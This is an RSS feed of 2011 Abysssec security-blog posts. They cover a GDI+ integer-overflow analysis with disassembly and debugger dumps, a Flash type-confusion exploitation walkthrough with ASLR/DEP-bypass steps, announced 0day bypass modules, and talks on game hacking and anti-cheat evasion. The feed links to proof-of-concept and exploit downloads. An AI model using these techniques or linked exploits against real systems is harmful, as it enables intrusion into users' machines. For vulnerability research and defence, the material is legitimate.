<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Abysssec Security Research &#187; advisory</title>
	<atom:link href="http://www.abysssec.com/blog/category/advisory/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.abysssec.com/blog</link>
	<description>Security Researches , Advisories , Coding , Projects , Reversing , Exploitation , Fuzzing</description>
	<lastBuildDate>Tue, 31 Jan 2012 15:52:34 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.3.1</generator>
		<item>
		<title>Analysis of CVE-2011-0041 vulnerability in GDI+</title>
		<link>http://www.abysssec.com/blog/2011/07/18/analysis-of-cve-2011-0041-vulnerability-in-gdi/</link>
		<comments>http://www.abysssec.com/blog/2011/07/18/analysis-of-cve-2011-0041-vulnerability-in-gdi/#comments</comments>
		<pubDate>Mon, 18 Jul 2011 13:02:36 +0000</pubDate>
		<dc:creator>shahin</dc:creator>
				<category><![CDATA[advisory]]></category>
		<category><![CDATA[Exploits / BUG Decryption]]></category>
		<category><![CDATA[reversing]]></category>
		<category><![CDATA[BA]]></category>
		<category><![CDATA[binary analysis]]></category>
		<category><![CDATA[Bounty]]></category>
		<category><![CDATA[CVE-2011-0044]]></category>
		<category><![CDATA[exploit]]></category>
		<category><![CDATA[GDI+]]></category>
		<category><![CDATA[metasploit]]></category>
		<category><![CDATA[MSF]]></category>
		<category><![CDATA[VUPEN]]></category>

		<guid isPermaLink="false">http://www.abysssec.com/blog/?p=1344</guid>
		<description><![CDATA[Abysssec Research we tried for other case in exploit bounty this time for a 500$ one . no luck for successful exploitation and to be honest we didn&#8217;t tried so hard . at least we got a PoC and here is our analysis for this cool bug. 1) Advisory information &#160;   Title                   :  GDI+ CreateDashedPath Integer overflow in gdiplus.dll [...]]]></description>
			<content:encoded><![CDATA[<p align="center">Abysssec Research</p>
<p align="center"><a href="http://www.abysssec.com/blog/wp-content/uploads/2011/07/Abyssssec.png"><img class="aligncenter size-full wp-image-1346" title="Abyssssec" src="http://www.abysssec.com/blog/wp-content/uploads/2011/07/Abyssssec.png" alt="" width="222" height="203" /></a></p>
<p style="text-align: left;" align="center">we tried for other case in exploit bounty this time for a 500$ one .</p>
<p style="text-align: left;" align="center">no luck for successful exploitation and to be honest we didn&#8217;t tried so hard . at least we got a PoC and here is our analysis for this cool bug.</p>
<h1>1) Advisory information</h1>
<p>&nbsp;</p>
<table border="1" cellspacing="0" cellpadding="0">
<tbody>
<tr>
<td valign="top" width="638"><strong>  Title                   :  GDI+ CreateDashedPath Integer overflow in gdiplus.dll  </strong></td>
</tr>
</tbody>
</table>
<p><strong>  Discovery         :  <a href="http://www.vupen.com/">Nicolas july from vupen</a></strong></p>
<p><strong>  Analysis            :  <a href="http://www.abyssssec.com/">Abysssec.com</a></strong></p>
<p><strong>  Vendor             :  <a href="http://www.microsoft.com/">http://www.microsoft.com</a></strong></p>
<p><strong>  Impact              :  High</strong></p>
<p><strong>  Contact            :  info  [at] abysssec.com</strong></p>
<p><strong>  Twitter             : @abysssec</strong></p>
<h2>  CVE                   : CVE-2011-0041</h2>
<h1>2) Vulnerable version</h1>
<table border="1" cellspacing="0" cellpadding="0">
<tbody>
<tr>
<td valign="top" width="638"><strong>Gdiplus.dll 5.2.6001.22319</strong></td>
</tr>
</tbody>
</table>
<p>&nbsp;</p>
<h1>3) Vulnerability information</h1>
<p>&nbsp;</p>
<table border="1" cellspacing="0" cellpadding="0">
<tbody>
<tr>
<td valign="top" width="638">Class</td>
</tr>
</tbody>
</table>
<p><strong>        1-Integer overflow</strong></p>
<p>Impact<strong></strong></p>
<p><strong>Successfully exploiting this issue allows remote attackers to execute arbitrary code in the context of vulnerable application or cause denial-of-service conditions.</strong></p>
<p>Remotely Exploitable</p>
<p><strong>Yes</strong></p>
<p>Locally Exploitable<strong></strong></p>
<p><strong>Yes</strong></p>
<h1></h1>
<h1>4) Vulnerabilities detail</h1>
<p>&nbsp;</p>
<p>The vulnerability exists in gdiplus!GpPath::CreateDashedPath function of gdiplus.dll that is responsible for bitmap drawing and other 2d graphic rendering. EMF+ file is one of the image file format that is rendered by the library. And the vulnerability is based on some floating point calculation of an EMF+ path object.</p>
<p>We made the following proof of concept to trigger the issues and it will be explained more:</p>
<p style="text-align: center;"><a href="http://www.abysssec.com/blog/wp-content/uploads/2011/07/Hexing.png" target="_blank"><img class="aligncenter size-medium wp-image-1347" title="Hexing" src="http://www.abysssec.com/blog/wp-content/uploads/2011/07/Hexing-300x186.png" alt="" width="300" height="186" /></a></p>
<p>&nbsp;</p>
<p>A little taste of file format we simply put a EMF_COMMENT record (id = 0&#215;00000046) and embed and emf+ geraphic object ( id = 0&#215;00004008 ) . For simplicity we ripped out a valid graphic object from another file and started to play with it. The record have two important area that we highlighted them in the above picture.</p>
<p>&nbsp;</p>
<p>Here is the faulty code:</p>
<table border="1" cellspacing="0" cellpadding="0">
<tbody>
<tr>
<td valign="top" width="638"><strong>.text:4ECFCBAD loc_4ECFCBAD:                     </strong></td>
</tr>
</tbody>
</table>
<p><strong>.text:4ECFCBAD                 mov     eax, esi</strong></p>
<p><strong>.text:4ECFCBAF                 shl     eax, 3</strong></p>
<p><strong>.text:4ECFCBB2                 cmp     [ebp+lpMem], 0</strong></p>
<p><strong>.text:4ECFCBB6                 push    eax             ; dwBytes</strong></p>
<p><strong>.text:4ECFCBB7                 jz      short loc_4ECFCBCE</strong></p>
<p><strong>.text:4ECFCBB9                 push    [ebp+lpMem]     ; lpMem</strong></p>
<p><strong>.text:4ECFCBBC                 call    GpRealloc(x,x)</strong></p>
<p><strong>.text:4ECFCBC1                 test    eax, eax</strong></p>
<p><strong>.text:4ECFCBC3                 jz      loc_4ECFCCDB</strong></p>
<p><strong>.text:4ECFCBC9                 mov     [ebp+lpMem], eax</strong></p>
<p><strong>.text:4ECFCBCC                 jmp     short loc_4ECFCBDE</strong></p>
<p><strong>.text:4ECFCBCE ; &#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;</strong></p>
<p><strong>.text:4ECFCBCE</strong></p>
<p><strong>.text:4ECFCBCE loc_4ECFCBCE:                      </strong></p>
<p><strong>.text:4ECFCBCE                 call    GpMalloc(x)</strong></p>
<p><strong>.text:4ECFCBD3                 test    eax, eax</strong></p>
<p><strong>.text:4ECFCBD5                 mov     [ebp+lpMem], eax</strong></p>
<p><strong>.text:4ECFCBD8                 jz      loc_4ECFCCDB</strong></p>
<p>&nbsp;</p>
<p>The above code uses the eax register as arguments to the GpMalloc function. GpMalloc is simply a gdi version of heapAlloc function. The value of eax register is based on various floating point calculation that is not simple to examine at first look.</p>
<p>But I traced the value of eax register and it seems the calculations are based on our values mentioned earlear in the file.  And it doesn’t bound checked well, by changing the path value tricky it is possible when the “shl    eax, 3” instruction multiply the value by 8 we get an integer overflow and in turn a faulty heap allocation.</p>
<p>&nbsp;</p>
<p>I dynamically traced the values with my proof of concept file. Eax register is equall to eax + [ebp-38] * 10 and as there are a lot of values and calculations before that, for better consideration I made the following diagram:</p>
<p>&nbsp;</p>
<p><a href="http://www.abysssec.com/blog/wp-content/uploads/2011/07/diagram.png"><img class="aligncenter size-medium wp-image-1348" title="diagram" src="http://www.abysssec.com/blog/wp-content/uploads/2011/07/diagram-300x290.png" alt="" width="300" height="290" /></a></p>
<p>&nbsp;</p>
<p>&nbsp;</p>
<p>&nbsp;</p>
<p>It took a lot of time explanation of all of the variables above but, the important one is the GpPath object that is in the code a clone of the object is made to later be manipulated for drawings.</p>
<table border="1" cellspacing="0" cellpadding="0">
<tbody>
<tr>
<td valign="top" width="638"><strong>.text:4ECFC9D9 loc_4ECFC9D9:                           ; CODE XREF: GpPath::CreateDashedPath(DpPen const *,GpMatrix const *,float,float,float,int)+1AAj</strong></td>
</tr>
</tbody>
</table>
<p><strong>.text:4ECFC9D9                 fld     dword ptr [esi+eax*4]</strong></p>
<p><strong>.text:4ECFC9DC                 fmul    [ebp+arg_0]</strong></p>
<p><strong>.text:4ECFC9DF                 fstp    dword ptr [esi+eax*4]</strong></p>
<p><strong>.text:4ECFC9E2                 inc     eax</strong></p>
<p><strong>.text:4ECFC9E3                 cmp     eax, [ebp+arg_4]</strong></p>
<p><strong>.text:4ECFC9E6                 jl      short loc_4ECFC9D9</strong></p>
<p><strong>.text:4ECFC9E8</strong></p>
<p><strong>.text:4ECFC9E8 loc_4ECFC9E8:                       </strong></p>
<p><strong>.text:4ECFC9E8                 mov     ecx, [ebp+var_18] ; Src</strong></p>
<p><strong>.text:4ECFC9EB                 call    GpPath::Clone(void)</strong></p>
<p><strong>.text:4ECFC9F0                 mov     edi, eax</strong></p>
<p><strong>.text:4ECFC9F2                 test    edi, edi</strong></p>
<p><strong>.text:4ECFC9F4                 jz      loc_4ECFCDBA</strong></p>
<p><strong>.text:4ECFC9FA                 mov     eax, [edi]</strong></p>
<p><strong>.text:4ECFC9FC                 mov     ecx, edi</strong></p>
<p><strong>.text:4ECFC9FE                 call    dword ptr [eax+4]</strong></p>
<p>&nbsp;</p>
<p>After calling the clone, it checks whether it is a valid clone or not at address 4ECFC9FE.</p>
<p>The offset +34h of the object contains a pointer to our 4byte path object values.</p>
<table border="1" cellspacing="0" cellpadding="0">
<tbody>
<tr>
<td valign="top" width="638"><strong>0:000&gt; dd ecx</strong></td>
</tr>
</tbody>
</table>
<p><strong>0e03ca50  4ec67e58 68745031 00000000 00000000</strong></p>
<p><strong>0e03ca60  0e03ca74 0e03ca74 00000010 00000010</strong></p>
<p><strong>0e03ca70  00000002 00000100 00000000 00000000</strong></p>
<p><strong>0e03ca80  00000000 0e03ca98 0e03ca98 00000010</strong></p>
<p><strong>0e03ca90  00000010 00000002 449a8eab 458ac500</strong></p>
<p><strong>0e03caa0  449a8eab 4e0000fe 00000000 00000000</strong></p>
<p><strong>0e03cab0  00000000 00000000 00000000 00000000</strong></p>
<p><strong>0e03cac0  00000000 00000000 00000000 00000000</strong><strong></strong></p>
<p>&nbsp;</p>
<p>Our floating point values in the file format:</p>
<table border="1" cellspacing="0" cellpadding="0">
<tbody>
<tr>
<td valign="top" width="638"><strong>0e03ca98  449a8eab 458ac500 449a8eab 4e0000fe</strong></td>
</tr>
</tbody>
</table>
<p><strong>0e03caa8  00000000 00000000 00000000 00000000</strong><strong></strong></p>
<p>&nbsp;</p>
<p>But there are some modifications on our values before we get the faulty code. First after the clone is performed GpPath::Flatten function made some changes to our values based on a transform matrix in the file. So this is cause of the highlighted 6 DWORDs in the file.­­­</p>
<table border="1" cellspacing="0" cellpadding="0">
<tbody>
<tr>
<td valign="top" width="638"><strong>.text:4ECFC9FE                 call    dword ptr [eax+4]</strong></td>
</tr>
</tbody>
</table>
<p><strong>.text:4ECFCA01                 test    eax, eax</strong></p>
<p><strong>.text:4ECFCA03                 jz      loc_4ECFCDBA</strong></p>
<p><strong>.text:4ECFCA09                 fld     ds:flt_4ECB80FC</strong></p>
<p><strong>.text:4ECFCA0F                 push    ecx             ; float</strong></p>
<p><strong>.text:4ECFCA10                 lea     eax, [ebp+var_F8]</strong></p>
<p><strong>.text:4ECFCA16                 fstp    [esp+108h+var_108]</strong></p>
<p><strong>.text:4ECFCA19                 push    eax             ; int</strong></p>
<p><strong>.text:4ECFCA1A                 mov     ecx, edi</strong></p>
<p><strong>.text:4ECFCA1C                 call    GpPath::Flatten(GpMatrix const *,float)</strong></p>
<p><strong>.text:4ECFCA21                 cmp     [ebp+var_2C], 0</strong></p>
<p>&nbsp;</p>
<p>Flattened GpPath object values:</p>
<table border="1" cellspacing="0" cellpadding="0">
<tbody>
<tr>
<td valign="top" width="638"><strong>0:000&gt; dd poi(edi+34)</strong></td>
</tr>
</tbody>
</table>
<p><strong>0e03cd18  449a7eab 458ac100 449a7eab 4e0000fd</strong></p>
<p><strong>0e03cd28  00000000 00000000 00000000 00000000</strong><strong></strong></p>
<p>&nbsp;</p>
<p>And after that our changed GpPath object is sent to calculateGradiantArray and some array of floating point values are made based on its calculation.</p>
<p>There are many other default floating point values has effects on the value of the overflowing size for GpMalloc that are not so interesting and I’ve just shown them on the diagram.</p>
<p>After the calculation integer wrapped, the heap allocated by the gpMalloc function is not big enough to hold our data. So in next uses of the wrapped allocated heap the corruption occurs. But it seems there is not a straight way of exploiting such heap corruptions using a standalone file. .</p>
<p style="text-align: left;"><a href="http://www.abysssec.com/blog/wp-content/uploads/2011/07/Crash.png" target="_blank"><img class="aligncenter" title="Crash" src="http://www.abysssec.com/blog/wp-content/uploads/2011/07/Crash-300x142.png" alt="" width="300" height="142" /></a></p>
<pre>PoC link   : <a title="GD+" href="http://abysssec.com/files/GDI_PoC.zip" target="_blank">http://abysssec.com/files/GDI_PoC.zip</a></pre>
<pre></pre>
]]></content:encoded>
			<wfw:commentRss>http://www.abysssec.com/blog/2011/07/18/analysis-of-cve-2011-0041-vulnerability-in-gdi/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>DEP/ASLR bypass using 3rd party + Clarification</title>
		<link>http://www.abysssec.com/blog/2011/07/03/depaslr-bypass-using-3rd-party-clarification/</link>
		<comments>http://www.abysssec.com/blog/2011/07/03/depaslr-bypass-using-3rd-party-clarification/#comments</comments>
		<pubDate>Sun, 03 Jul 2011 10:04:16 +0000</pubDate>
		<dc:creator>shahin</dc:creator>
				<category><![CDATA[advisory]]></category>
		<category><![CDATA[Exploits / BUG Decryption]]></category>
		<category><![CDATA[news]]></category>
		<category><![CDATA[Arashi]]></category>
		<category><![CDATA[ASLR]]></category>
		<category><![CDATA[Bounty]]></category>
		<category><![CDATA[bypass]]></category>
		<category><![CDATA[Clarification]]></category>
		<category><![CDATA[DEP]]></category>
		<category><![CDATA[exploiting]]></category>
		<category><![CDATA[Ikazuchi]]></category>
		<category><![CDATA[ROP]]></category>
		<category><![CDATA[Sugokunai]]></category>
		<category><![CDATA[tatsumaki]]></category>
		<category><![CDATA[WP]]></category>

		<guid isPermaLink="false">http://www.abysssec.com/blog/?p=1329</guid>
		<description><![CDATA[hello again to all of our great readers . is this post we are going to do some clarification also share and drop some random 0day DEP/ASLR bypass using 3rd parties . due to there is lots of things to say we wrote all the notes as an article called &#8220;The Arashi&#8221;. &#160; Table of [...]]]></description>
			<content:encoded><![CDATA[<p>hello again to all of our great readers .</p>
<p>is this post we are going to do some clarification also share and drop some random 0day DEP/ASLR bypass using 3rd parties .</p>
<p>due to there is lots of things to say we wrote all the notes as an article called &#8220;The Arashi&#8221;.</p>
<p>&nbsp;</p>
<p><img class="aligncenter" title="Storm" src="http://www.puppetgov.com/wp-content/uploads/2010/01/storm.jpg" alt="" width="350" height="308" /></p>
<p>Table of content :</p>
<p>===============================================================</p>
<p>Introduction and warning</p>
<p style="text-align: left;">The Story of Sayonara</p>
<p style="text-align: left;">First Method: ASLR Bitter</p>
<p style="text-align: left;">Second Method: Process Explorer</p>
<p style="text-align: left;">Narly Windbg Extension</p>
<p style="text-align: left;">Mona / PVEFindAddr</p>
<p style="text-align: left;">Ropping this fun DLL</p>
<p style="text-align: left;">First 0day tatsumaki</p>
<p style="text-align: left;">Second (half) 0day Ikazuchi</p>
<p style="text-align: left;">Third 0day Sugokunai</p>
<p style="text-align: left;">Final Note</p>
<p style="text-align: left;">===============================================================</p>
<p style="text-align: left;">and finally  here you can download it from  : <a title="The Arashi" href="http://abysssec.com/files/The_Arashi.pdf" target="_blank">here</a></p>
<p style="text-align: left;"><span style="text-decoration: underline;">note that the offer in paper will be expire in 10 day so if you are verified and need one of modules let us know . </span></p>
<p style="text-align: left;"><span style="text-decoration: underline;">as always feel free to contact us : info [at] abysssec.com</span></p>
<p style="text-align: left;">and also follow @abysssec in twitter</p>
<p style="text-align: left;">&nbsp;</p>
]]></content:encoded>
			<wfw:commentRss>http://www.abysssec.com/blog/2011/07/03/depaslr-bypass-using-3rd-party-clarification/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Exploiting Adobe Flash Player on Windows 7</title>
		<link>http://www.abysssec.com/blog/2011/04/18/exploiting-adobe-flash-player-on-windows-7/</link>
		<comments>http://www.abysssec.com/blog/2011/04/18/exploiting-adobe-flash-player-on-windows-7/#comments</comments>
		<pubDate>Mon, 18 Apr 2011 09:18:51 +0000</pubDate>
		<dc:creator>shahin</dc:creator>
				<category><![CDATA[advisory]]></category>
		<category><![CDATA[Exploits / BUG Decryption]]></category>
		<category><![CDATA[Fuzzing / Auditing]]></category>
		<category><![CDATA[reversing]]></category>
		<category><![CDATA[0day]]></category>
		<category><![CDATA[CVE2010-3654]]></category>
		<category><![CDATA[exploit]]></category>
		<category><![CDATA[IE8]]></category>
		<category><![CDATA[win7]]></category>
		<category><![CDATA[windows7]]></category>

		<guid isPermaLink="false">http://www.abysssec.com/blog/?p=1302</guid>
		<description><![CDATA[Hello again . as a lot of readers like windows 7 exploits here is other one . 1) Advisory information Title                   : Adobe Flash player Action script type confusion &#160; Version             :  flash10h.dll Discovery         :  Malware writers Exploit              :  www.abysssec.com Vendor             :  http://www.adobe.com Impact              :  Critical Contact            :   info  [at] abysssec.com Twitter     [...]]]></description>
			<content:encoded><![CDATA[<p>Hello again . as a lot of readers like windows 7 exploits here is other one .</p>
<p><a href="http://www.abysssec.com/blog/wp-content/uploads/2011/04/FlashPlayerZeroDayVulnerability_thumb.jpg"><img class="aligncenter size-full wp-image-1303" title="FlashPlayerZeroDayVulnerability_thumb" src="http://www.abysssec.com/blog/wp-content/uploads/2011/04/FlashPlayerZeroDayVulnerability_thumb.jpg" alt="" width="293" height="293" /></a></p>
<h2>1) Advisory information</h2>
<table border="1" cellspacing="0" cellpadding="0">
<tbody>
<tr>
<td width="638" valign="top"><strong> Title                   : </strong><strong>Adobe   Flash player Action script type confusion</strong><strong> </strong>&nbsp;</p>
<p><strong> Version             :  flash10h.dll</strong></p>
<p><strong> Discovery         :  Malware writers </strong></p>
<p><strong> Exploit              :  www.abysssec.com</strong></p>
<p><strong> Vendor             :  <a href="http://www.adobe.com/">http://www.adobe.com</a></strong></p>
<p><strong> Impact              :  Critical</strong></p>
<p><strong> Contact            :   info  [at] abysssec.com</strong></p>
<p><strong> Twitter            : @abysssec</strong></p>
<p><strong> CVE                    : </strong><strong>CVE-2010-3654</strong><strong> </strong></td>
</tr>
</tbody>
</table>
<h2>2) Vulnerable version</h2>
<table border="1" cellspacing="0" cellpadding="0">
<tbody>
<tr>
<td width="638" valign="top"><strong>Adobe   Flash Player 10.1.53 .64</strong><strong> prior versions</strong></td>
</tr>
</tbody>
</table>
<h2>3) Vulnerability information</h2>
<p>&nbsp;</p>
<table border="1" cellspacing="0" cellpadding="0">
<tbody>
<tr>
<td width="638" valign="top">Class&nbsp;</p>
<p><strong> 1- Type Confusion</strong></p>
<p>Impact<strong> </strong></p>
<p><strong>Successfully   exploiting this issue allows remote attackers to execute code under the   context of targeted browser.</strong></p>
<p>Remotely   Exploitable</p>
<p><strong>Yes</strong></p>
<p>Locally   Exploitable<strong> </strong></p>
<p><strong>Yes</strong></td>
</tr>
</tbody>
</table>
<h2>4) Vulnerability detail</h2>
<p>Here we have type confusion vulnerability in ActionScript bytecode language. The cause of these vulnerabilities is because of implementation of verification process in AS3 jit engine that because of some miscalculation in verifying datatype atoms, some data replaces another type of data and the confusion results in faulty machine code.</p>
<p>Action script has the following structure. First our scripts are compiled using an action script compiler like flex to AS3 ByteCodes and embed it to DoABC, DoAction or DoInitAction tags in swf file format. When flash player opens the swf file, bytecodes are compiled to a jitted machine code through verification and generation process. Verification process is responsible for checking bytecodes to be valid instructions and it pass the valid bytecodes to generation process, thus generation process produces the machine code in memory.</p>
<p>According to Dion Blazakis’s JIT Spray paper:</p>
<p style="text-align: center;"><a href="http://www.abysssec.com/blog/wp-content/uploads/2011/04/AS1.png"><img class="aligncenter size-full wp-image-1306" title="AS" src="http://www.abysssec.com/blog/wp-content/uploads/2011/04/AS1.png" alt="" width="499" height="202" /></a></p>
<p>&nbsp;</p>
<p>To handle this runtime typing requirement, the ActionScript interpreter represents internal objects using tagged pointers – internal, this object is called an “atom”. Tagged pointers are a common implementation technique to differentiate between those objects stored by value and those stored by reference using the same word sized memory cell. A tagged pointer stores type information in the least significant bits and stores a type specific values in the most significant bits. As shown in Illustration 1, the ActionScript atom is 32 bits wide; it allocates 3 bits to store the type information and uses 29 bits for the value.</p>
<p>So if it would be possible to confuse verifier too act an atom as another atom by some bytecode changes it would be possible to generate faulty code that most of the times lead to disclosing a vtable pointer call to the attacker.</p>
<p>The bug is perfectly presented in Haifei li recent slides. We have OriginalClass and RefClass with the same functions. Func1 &#8211; OriginalClass return a class objects, but Func1 – RefClass returns another type. By changing a byte in the bytecode we have confused AS3 to execute RefClass functions in the main class. After that verifier confuses the return type of the function with an OriginalClass object and generate faulty code with the vtable under the control of the return value.</p>
<p><a href="http://www.abysssec.com/blog/wp-content/uploads/2011/04/windbg.png"><img class="aligncenter size-full wp-image-1305" title="windbg" src="http://www.abysssec.com/blog/wp-content/uploads/2011/04/windbg.png" alt="" width="592" height="128" /></a></p>
<p>&nbsp;</p>
<p>Exploitation:</p>
<p>For exploitation purpose on recent protections on windows 7 without any 3<sup>rd</sup> party, it is possible to use the same bug many times to leak the imageBase address and payload address. In our exploit we used three confusion to read String Objects address and accordingly imagebase address.</p>
<p><a href="http://www.abysssec.com/blog/wp-content/uploads/2011/04/Chart.png"><img class="aligncenter size-full wp-image-1307" title="Chart" src="http://www.abysssec.com/blog/wp-content/uploads/2011/04/Chart.png" alt="" width="291" height="297" /></a></p>
<p>Step1: read shellcode string object pointer by confusing it with uint and use it to leak ImageBase.</p>
<p>Step2: leak address of the shellcode with the same pointer and NewNumber trick.</p>
<p>Step3: send imageBase &amp; shellcode address as parameters to the RopPayload function, develop Rop payload string and again confuse the return value with uint to read address of RopPayload string.</p>
<p>Step4: send address of the rop payload as parameters to the last confused function that confuses string type with class object. And thus address of our rop payload will be used as vtable in the fake class object.</p>
<p>Note: In using strings as a buffer for shellcode in action script, it is important to use alphanumeric characters because the toString method converts our ascii character set to uincode thus make our shellcode unusable.</p>
<h2>5) Conclusion</h2>
<p>Finally we got the point that memory leakages are extremely useful in modern exploitation to bypass DEP, ASLR protections. It would be possible to find same atom confusion situation and other object leakage in adobe flash player. Kudos to haifei li for his great research, although it was not that simple to implement a reliable exploit with just slides without attending in talk.</p>
<h2>6) Refrences</h2>
<p><a href="http://cansecwest.com/csw11/Flash_ActionScript.ppt" target="_blank">http://www.cansecwest.com/csw11/Flash_ActionScript.ppt</a></p>
<p><a href="http://www.semantiscope.com/research/BHDC2010/BHDC-2010-Paper.pdf" target="_blank">http://www.semantiscope.com/research/BHDC2010/BHDC-2010-Paper.pdf</a></p>
<h2>7) Exploit-Code</h2>
<p>Here you can get our reliable exploit against windows 7 :</p>
<p>calc.exe payload</p>
<p>Download : <a href="http://www.abysssec.com/blog/wp-content/uploads/2011/04/CVE-2010-3654_Win7.zip">CVE-2010-3654_Win7</a></p>
<p style="text-align: center;"><a href="http://www.abysssec.com/blog/wp-content/uploads/2011/04/Exploited.png" target="_blank"><img class="aligncenter size-medium wp-image-1317" title="Exploited" src="http://www.abysssec.com/blog/wp-content/uploads/2011/04/Exploited-300x151.png" alt="" width="300" height="300" /></a></p>
<p>if you need other payloads for sure you know how to change it ;)</p>
<p>as always feedbacks are welcomed and you can follow @abysssec in twitter to getting updates .</p>
<p>Happy Hunting !</p>
]]></content:encoded>
			<wfw:commentRss>http://www.abysssec.com/blog/2011/04/18/exploiting-adobe-flash-player-on-windows-7/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Hacking / Exploiting / Cheating in Online Games</title>
		<link>http://www.abysssec.com/blog/2011/03/21/hacking-exploiting-cheating-in-online-games/</link>
		<comments>http://www.abysssec.com/blog/2011/03/21/hacking-exploiting-cheating-in-online-games/#comments</comments>
		<pubDate>Mon, 21 Mar 2011 15:00:39 +0000</pubDate>
		<dc:creator>shahin</dc:creator>
				<category><![CDATA[advisory]]></category>
		<category><![CDATA[news]]></category>
		<category><![CDATA[reversing]]></category>
		<category><![CDATA[security]]></category>
		<category><![CDATA[Uncategorized]]></category>
		<category><![CDATA[aimbot]]></category>
		<category><![CDATA[Aimbot.dll]]></category>
		<category><![CDATA[bypass]]></category>
		<category><![CDATA[cheat]]></category>
		<category><![CDATA[counter strike]]></category>
		<category><![CDATA[cs 1.6]]></category>
		<category><![CDATA[flashhack]]></category>
		<category><![CDATA[hack]]></category>
		<category><![CDATA[half-life]]></category>
		<category><![CDATA[hook]]></category>
		<category><![CDATA[noflash]]></category>
		<category><![CDATA[nosmoke]]></category>
		<category><![CDATA[ring0]]></category>
		<category><![CDATA[shahin]]></category>
		<category><![CDATA[smokehack]]></category>
		<category><![CDATA[speedhack]]></category>
		<category><![CDATA[SXE 11.6]]></category>
		<category><![CDATA[SXE 11.6 Fix 2]]></category>
		<category><![CDATA[SXE-Injected]]></category>
		<category><![CDATA[unhook]]></category>
		<category><![CDATA[VAC]]></category>
		<category><![CDATA[VAC 2]]></category>
		<category><![CDATA[Valve Anti Cheat]]></category>
		<category><![CDATA[wallhack]]></category>
		<category><![CDATA[world of warcraft]]></category>
		<category><![CDATA[wow]]></category>
		<category><![CDATA[WPE]]></category>

		<guid isPermaLink="false">http://www.abysssec.com/blog/?p=1263</guid>
		<description><![CDATA[Hello to all readers. we know that there are thousands and millions of online game players around and we guess lots of them may like to cheat this is our totally offensive research that we did to present in immunity infiltrate and as we missed that so here we go . &#160; This research is about hacking [...]]]></description>
			<content:encoded><![CDATA[<p>Hello to all readers.</p>
<p>we know that there are thousands and millions of online game players around and we guess lots of them may like to cheat this is our totally offensive research that we did to present in <a href="https://www.immunityinc.com/infiltrate/" target="_blank"> <span style="color: #ff0000;"><strong>immunity infiltrate</strong></span></a> and as we missed that so here we go .</p>
<p>&nbsp;</p>
<p><a href="http://www.abysssec.com/blog/wp-content/uploads/2011/03/3-21-2011-6-01-12-PM1.png"><img class="aligncenter" title="3-21-2011 6-01-12 PM" src="http://www.abysssec.com/blog/wp-content/uploads/2011/03/3-21-2011-6-01-12-PM1-300x148.png" alt="" width="300" height="148" /></a></p>
<p>This research is about hacking /exploiting / cheating in online games and is sponsored by <span style="color: #ff0000;"><strong><a href="https://www.immunityinc.com/" target="_blank">immunity</a></strong></span>.</p>
<p>&nbsp;</p>
<p>This is a six part talk and contains:</p>
<p>&nbsp;</p>
<p>Part I   : introduction</p>
<p>Part II: Hacking Online Game Servers</p>
<p>Part III: Exploiting Online Games</p>
<p>Part IV: Cheating in Online games</p>
<p>Part V   : Creating your own cheats</p>
<p>Part VI: Bypassing anti-cheat engines</p>
<p>&nbsp;</p>
<p>Real world cheating is mainly focused on in this talk as it&#8217;s fun and legal.<br />
During this talk we will have a tour into all the ways to manipulate an online game<br />
and we will end up with bypassing the latest anti-cheating technologies and<br />
manipulating the game to our heart&#8217;s desire.</p>
<p>&nbsp;</p>
<p>Our case studies are:</p>
<p>&nbsp;</p>
<p>1 -counter strike (half-life) as game:</p>
<p>&nbsp;</p>
<p style="text-align: center;"><img class="aligncenter" title="Cstrike" src="http://www.straferight.com/photopost/data/500/counter-strike-logo.jpg" alt="" width="240" height="241" /></p>
<p>2- SXE-Injected and Valve-anti cheat (VAC) as anti-cheat engines</p>
<p style="text-align: center;"><img class="aligncenter" title="SXE-Injected" src="http://www.asosyalgenclik.net/sxe.png" alt="" width="240" height="240" /></p>
<p>Our codes will be release soon as soon we can but if you are hurry to use some cheats you can find almost all necessary codes in slides also there is two demos for proofing our research. We really enjoyed this research and it’s done from our side hope you enjoy too.</p>
<p>&nbsp;</p>
<p>You can download slides here:</p>
<p>ppt : <a href="http://www.abysssec.com/blog/wp-content/uploads/2011/03/Exploiting-Online-Games.pptx" target="_blank">Exploiting-Online-Games</a></p>
<p>Font : <a href="http://www.abysssec.com/blog/wp-content/uploads/2011/03/Purisa.zip" target="_blank">in case if you have problem with embedded one </a></p>
<p>PDF : <a href="http://www.abysssec.com/blog/wp-content/uploads/2011/03/Exploiting-Online-Games.pdf" target="_blank">Exploiting-Online-Games</a></p>
<p>PS 1 : video demos are ready but due to those are huge we need to find a better way to compress them after that we will post them here.</p>
<p>PS 2 : Tools will be release after a while .</p>
<p>For getting updates about tools / videos please follow @abysssec in twitter.</p>
<p>&nbsp;</p>
<p>For any question please contact:</p>
<p>&nbsp;</p>
<p>Shahin [at] abysssec.com</p>
<p>&nbsp;</p>
<p>For any other requirement please contact:</p>
<p>&nbsp;</p>
<p>Info [at] abysssec.com</p>
<p>&nbsp;</p>
<p>Kind Regards</p>
<p style="text-align: left;">&nbsp;</p>
]]></content:encoded>
			<wfw:commentRss>http://www.abysssec.com/blog/2011/03/21/hacking-exploiting-cheating-in-online-games/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Adobe Shockwave player rcsL chunk memory corruption 0day</title>
		<link>http://www.abysssec.com/blog/2010/10/22/adobe-shockwave-player-rcsl-chunk-memory-corruption-0day/</link>
